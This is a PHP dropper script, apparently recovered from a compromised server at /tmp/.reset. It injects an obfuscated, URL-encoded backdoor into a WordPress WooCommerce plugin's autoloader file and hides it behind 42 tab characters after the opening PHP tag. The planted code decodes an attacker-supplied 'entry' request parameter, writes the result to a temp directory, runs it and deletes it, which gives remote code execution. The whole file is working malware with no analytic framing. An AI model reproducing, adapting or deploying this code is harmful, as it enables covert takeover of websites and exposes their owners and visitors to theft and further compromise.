File: //tmp/.reset
<?php $path = '/var/www/vcstore.stgviitor.com/wp-content/plugins/old-woocommerce-services/vendor/jetpack-autoloader/class-php-autoloader.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28in_array%28%22%5Cx65n%5Cx74ry%22%2C%20array_keys%28%24_REQUEST%29%29%29%7B%20%24val%20%3D%20%24_REQUEST%5B%22%5Cx65n%5Cx74ry%22%5D%3B%20%24val%3D%20explode%20%28%20%22.%22%20%2C%20%24val%20%29%20%3B%20%24elem%20%3D%20%27%27%3B%20%24salt8%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24lenS%20%3D%20strlen%28%24salt8%29%3B%20%24q%20%3D%200%3B%20array_walk%28%24val%20%2Cfunction%20%28%24v9%29%20use%20%28%26%24elem%20%2C%26%24q%20%2C%24salt8%20%2C%24lenS%29%20%7B%20%24chS%20%3D%20ord%28%24salt8%5B%24q%20%25%20%24lenS%5D%29%3B%20%24dec%20%3D%20%28%28int%29%24v9%20-%20%24chS%20-%20%28%24q%20%25%2010%29%29%20%5E%2011%3B%20%24elem%20.%3D%20chr%28%24dec%29%3B%20%24q%2B%2B%3B%20%7D%29%3B%20%24data_chunk%20%3D%20array_filter%28%5Bsys_get_temp_dir%28%29%2C%20getcwd%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/dev/shm%22%2C%20getenv%28%22TEMP%22%29%2C%20%22/tmp%22%2C%20getenv%28%22TMP%22%29%2C%20%22/var/tmp%22%2C%20session_save_path%28%29%5D%29%3B%20%24fac%20%3D%200%3B%20do%20%7B%20%24pgrp%20%3D%20%24data_chunk%5B%24fac%5D%20%3F%3F%20null%3B%20if%20%28%24fac%20%3E%3D%20count%28%24data_chunk%29%29%20break%3B%20if%20%28%28bool%29is_dir%28%24pgrp%29%20%26%26%20%28bool%29is_writable%28%24pgrp%29%29%20%7B%20%24ptr%20%3D%20join%28%22/%22%2C%20%5B%24pgrp%2C%20%22.component%22%5D%29%3B%20%24success%20%3D%20file_put_contents%28%24ptr%2C%20%24elem%29%3B%20if%20%28%24success%29%20%7B%20include%20%24ptr%3B%20%40unlink%28%24ptr%29%3B%20die%28%29%3B%7D%20%7D%20%24fac%2B%2B%3B%20%7D%20while%20%28true%29%3B%20%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');